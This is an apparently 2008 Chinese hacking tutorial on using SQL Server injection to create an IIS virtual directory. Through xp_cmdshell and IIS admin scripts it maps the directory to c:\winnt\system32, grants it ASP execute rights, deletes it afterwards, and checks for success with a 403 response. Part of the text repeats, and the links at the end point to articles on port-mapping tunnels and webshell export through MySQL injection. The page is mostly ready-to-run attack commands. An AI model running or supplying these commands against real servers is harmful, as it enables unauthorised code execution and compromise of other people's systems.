sql server注入建立虛擬目錄的方法
更新時(shí)間:2008年01月20日 15:59:13 作者:
sql server注入建立虛擬目錄的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法,
http://xxx.com/win
403錯(cuò)誤,表示虛擬目錄建好了。。。
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法,
http://xxx.com/win
403錯(cuò)誤,表示虛擬目錄建好了。。。
相關(guān)文章
巧用端口映射 不通過網(wǎng)關(guān)開放任意內(nèi)網(wǎng)(LCX.exe)
巧用端口映射 不通過網(wǎng)關(guān)開放任意內(nèi)網(wǎng)(LCX.exe)...2007-02-02MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell
大家都知道,在MySQL中,無法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來插入數(shù)據(jù),因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。2008-05-05